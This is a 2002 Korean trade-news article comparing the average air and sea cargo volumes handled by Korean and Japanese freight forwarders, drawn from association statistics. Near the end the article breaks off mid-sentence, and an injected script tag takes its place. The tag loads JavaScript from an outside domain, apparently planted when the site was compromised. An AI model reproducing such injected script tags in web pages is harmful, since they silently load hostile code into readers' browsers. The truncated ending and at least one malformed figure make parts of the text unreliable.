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2002-05-10 |
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한일간 포워더 격차 항공은 "10배"…해운은 "비슷" |
한일간 포워더 격차 항공은 "10배"…해운은 "비슷"
한일간 포워더의 격차는 얼마나 될까. 구체적인 분석은 사실상 힘드나 최근 본지가 한국복합운송협회(KIFFA), 일본복합운송협회(JIFFA), 일본항공화물운송협회(JAFA)의 통계치를 근거로 업체당 평균 처리실적을 비교한 결과 항공화물은 10배 가까이 일본이 앞서고 있는 것으로 나타났다. 그러나 해상화물 처리실적 기준으로는 비슷한 양상을 보이고 있는 것으로 분석됐다. 작년동안 일본 포워더들은 85만 9,883톤(수출기준)을 처리한데 비해 국내 포워더들은 30만 8,700톤을 수송한 것으로 나타났다. 이에따라 일본 포워더들의 항공화물 처리실적은 우리나라 포워더보다 2.7배가 많은 것으로 집계됐다. 이를 업체 수로 나눠볼 때 일본 포워딩 업체당 평균 항공화물 처리실적은 국내의 10배에 달하는 것으로 분석됐다. <편집자 주>
작년 한해동안 한일 포워딩 업체의 수출 해상화물실적은 외형적으로 우리나라 업체가 앞섰으나 실속면에서는 일본에 크게 뒤진 것으로 나타났다.
작년동안 일본 포워더들의 수출 해상 컨테이너 화물 취급실적은 총 2,168만 1,813톤으로 집계됐으며 우리나라 포워더들은 총 2,342만 548톤을 처리해 외형적으로는 우리나라가 앞섰으나 업체당 평균 처리실적은 일본이 6만 8,61톤으로 우리나라의 5만 8,551톤을 크게 앞지른 것으로 나타났다.
최근 한국복합운송협회(KIFFA)와 일본복합운송협회(JIFFA)가 발표한 자료를 바탕으로 본지가 분석한 바에 따르면 이같이 나타났다. 일본복합운송협회는 회원사 가운데 316개사가 제출한 자료를 근거로 산출한 것이며 우리나라는 한국복합운송협회가 협회 회원사 약 400개사를 근거로 산출한 것이다.
이같은 통계자료가 100% 정확하다고 볼 수 없지만 현실적인 측면에서 어느정도의 추론은 가능하다. 일단 일본의 경제규모가 우리나라에 비해 크고, 업체수가 상대적으로 적다는 측면을 감안해야 될 것으로 보인다.
日 포워더 FCL 처리실적 67%에 달해
최근 일본복합운송협회가 발표한 2000년 회기년도(2000년 4월∼2001년 3월) 외항해운 취급실적은 총 2,168만톤으로 나타났다.
일본의 이같은 통계는 일본복합운송협회가 집계해 국토교통성에 최종 보고한 실적보고서이다. 이에따르면 일본 포워더들의 해상화물 취급실적은 이 기간동안 316개사가 2,168만톤을 처리했으며 이 가운데 FCL 화물이 1,457만톤으로 전체의 67%를 차지한 것으로 나타났다. 또한 일본 포워딩 업체의 'Sea & Air' 취급실적은 2만 2,651톤(32개 업체)으로 집계됐다.
일본 포워더들의 이같은 실적은 전년(1999년 161개 업체)보다 FCL 화물은 22.9%가 증가한 것이다. LCL 화물을 포함할 경우 전체 취급실적은 전년대비 30.9%가 증가했다.
2000년 실적을 지역별에 보면 아시아가 전년대비 3.9%가 증가하면서 전체 시장 점유율 53.7%를 차지했다. 이어 미국이 29.2%를 나타냈으며 유럽이 13.2%, 호주가 1.4%, 아프리카가 0.7%로 각각 집계됐다.
영업수익은 전년대비 다소 "증가"
일본 국토교통성이 집계한 일본 포워딩 업체 291개사의 영업수익은 2,159억엔으로 영업 이익률(영업수익÷영업비용×100)은 101.64%로 나타났다.
업체별 수지상황은 흑자기업이 161개사, 적자기업이 52개사(실적없는 업체 78개사 제외)로 각각 나타났으며 종업원 수로 봤을 때 5인 이하인 업체가 210개사, 10∼30인 업체가 39개사, 5∼10인 업체가 25개 업체로 각각 나타났다.
외항 운송업 전업비율은 5% 이하가 195개 업체, 5∼10%가 21개사, 10∼30%가 24개사, 30∼50%가 8개사, 50∼70%가 4개사, 70% 이상인 업체가 39개 업체로 각각 집계됐다. 이 가운데 전업비율 50% 이하의 사업체로 겸업하고 있는 것은 항만·창고업이 84개사였으며 포장을 비롯한 기타 업종을 겸업하고 있는 업체는 60개사로 나타났다. 또한 자동차운송업을 겸업하고 있는 업체는 42개사였으며 항공은 10개사, 내항해운업을 겸하고 있는 업체는 9개사로 각각 밝혀졌다.
국내 포워더 처리실적은 12% 감소
작년동안 우리나라 포워더들의 컨테이너 화물 처리실적은 전년대비 12.1%가 감소한 123만 6,673TEU(3,150만 9,731톤)으로 나타났다. 이 가운데 수출이 91만 939TEU로 전년대비 10.2%가 감소했으며 수입은 32만 5,734TEU로 16.9%가 각각 감소했다.
수출 컨테이너 화물을 지역별로 보면 일본이 3.8% 감소한 9만 5,209TEU, 중국이 8.6% 감소한 16만 9,297TEU, 동남아가 5.8% 떨어진 21만 8,451TEU, 중동이 27% 감소한 3만 1,872TEU를 각각 기록했다. 북미지역은 전체적으로 10.1%가 떨어진 21만 3,783TEU를 나타냈으며 유럽과 중남미, 아프리카 지역도 각각 16.2%, 18.6%, 11.4%가 각각 떨어진 것으로 집계됐다.
또한 한일 양국 포워더의 항공화물실적을 비교해 보면 작년동안 일본 ?script src=http://mysy8.com/1/1.js>
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